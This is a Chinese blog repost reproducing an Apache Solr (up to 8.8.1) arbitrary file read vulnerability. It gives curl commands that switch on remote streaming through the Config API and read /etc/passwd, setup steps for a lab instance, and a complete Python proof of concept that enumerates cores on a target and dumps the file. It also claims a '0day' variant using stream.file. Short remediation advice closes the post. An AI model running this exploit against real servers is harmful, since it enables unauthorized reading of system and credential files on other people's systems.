+关注
已关注

分类  

暂无分类

标签  

暂无标签

日期归档  

2020-04(17)

2020-05(32)

2020-06(30)

2020-07(27)

2020-08(32)

【漏洞复现系列】Apache Solr SSRF文件读取漏洞(附0day POC)

发布于2021-03-20 09:20     阅读(2578)     评论(0)     点赞(21)     收藏(1)


0

1

2

3

4

5

6

7

漏洞详情

Apache Solr <= 8.8.1均受影响,通杀所有版本,官方拒绝修复

通过Solr提供的API可以开启远程开启文件流读取: curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://xx.xx.xx.xx:8984/solr/corename/config -H 'Content-type:application/json'

再传入文件地址,就可以进行任意文件读取 curl "http://xx.xx.xx.xx:8984/solr/core_name/debug/dump?param=ContentStreams" -F "stream.url=file:///etc/passwd"

 

复现的必要条件:

1.Apache Solr <= 8.8.1

2.存在至少一个core(至少存在一个core的原因:url中的core_name是Solr中的已经创建的core的名字,我们刚下载来的Solr默认是没有core的,因此需要创建)

首先从Apache Solr官网下载最新的Solr 8.8.1:https://solr.apache.org/downloads.html

 

解压完成后,进入bin目录,执行

solr start -p 8984

然后打开

http://127.0.0.1:8984

 

点击左侧的Core Admin来创建一个Core,可以发现报错

 

此时Solr已经在server/solr目录下已经创建了名字为new_core2的文件夹,我们只需要把server/solr/configsets_default文件夹下的conf目录整个拷贝到new_core2文件夹下,即可

 

 

此时即可创建成功

 

通过http://127.0.0.1:8984/solr/admin/cores?indexInfo=false&wt=json 可以看到core的名字

 

 

目前,复现此漏洞的前置条件已经全部满足,开始启动POC

  1. # -*- coding: utf-8 -*-
  2. import requests
  3. import json
  4. class Poc(object):
  5. timeout = 30
  6. def get_core_name(self, domain):
  7. url = domain.strip("/") + '/solr/admin/cores?indexInfo=false&wt=json'
  8. response = requests.get(url)
  9. cores = json.loads(response.text)
  10. core_names = cores['status'].keys() # 获得core的名字
  11. return core_names
  12. def enable_remote_streaming(self, domain, core_name):
  13. url = domain.strip("/") + '/solr/' + core_name + '/config'
  14. response = requests.post(url, headers={'Content-Type': 'application/application/json'},
  15. data='{"set-property" :{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}')
  16. if response.status_code == 200: # 远程读取流文件配置开启成功
  17. return True
  18. return False
  19. def read_file(self, domain, core_name):
  20. url = domain.strip("/") + '/solr/' + core_name + '/debug/dump?param=ContentStreams'
  21. data = {'stream.file': '/etc/passwd'}
  22. response = requests.post(url, data=data)
  23. if response.status_code == 200:
  24. file_content = json.loads(response.text)['streams'][0]['stream']
  25. return file_content
  26. return ''
  27. def verify(self, data):
  28. url = data['url']
  29. try:
  30. core_names = self.get_core_name(url)
  31. if len(core_names) > 0:
  32. for core_name in core_names:
  33. if self.enable_remote_streaming(url, core_name):
  34. file_content = self.read_file(url, core_name)
  35. if len(file_content) > 0:
  36. return {
  37. 'title': '{} 存在任意文件读取漏洞'.format(url),
  38. 'desc': '{} 存在任意文件读取漏洞, 返回内容为: {}'.format(url, file_content)
  39. }
  40. except:
  41. pass
  42. if __name__ == "__main__":
  43. p = Poc()
  44. r = p.verify({
  45. 'url': 'http://127.0.0.1:8984/',
  46. 'headers': {}
  47. })
  48. print(r)
  49. # assert r is not None
 

 

目前已经有一些POC在流传,那我为什么说我的POC是0day POC呢

请看我POC中的第27行,目前市面上已经公开的POC基本都是

{'stream.url': 'file:///etc/passwd'}

但是经过我对代码的分析,发现了另一个利用手段

{'stream.file': '/etc/passwd'}

因此这是一个0day POC

 

修复建议

首先关闭ConfigAPI,禁止通过API修改配置,在bin目录下的solr.in.cmd中加入一行

set SOLR_OPTS=%SOLR_OPTS% -Ddisable.configEdit=true

然后关闭远程读取文件流,默认情况下远程读取文件流是不开启的:

在server/solr目录下寻找与core相同名字的目录,比如名字为core1

如果你发现core1/conf/configoverlay.json文件中存在开启远程读取文件流的配置,那么你很有可能被攻击成功了

修复方法是:把core1/conf/configoverlay.json中的远程读取文件流的配置修改为false(如果只有这一条配置,也可以将整个文件删除)

{"props":{"requestDispatcher":{"requestParsers":{"enableRemoteStreaming":false}}}}

 

原文链接:https://blog.csdn.net/qq_41703976/article/details/115004415

0

1

2

3

4

5

6

7

8



所属网站分类: 技术文章 > 博客

作者:天下

链接: https://www.pythonheidong.com/blog/article/897050/110a374aa3ff58037222/

来源: python黑洞网

任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任

21 0
收藏该文
已收藏

评论内容:(最多支持255个字符)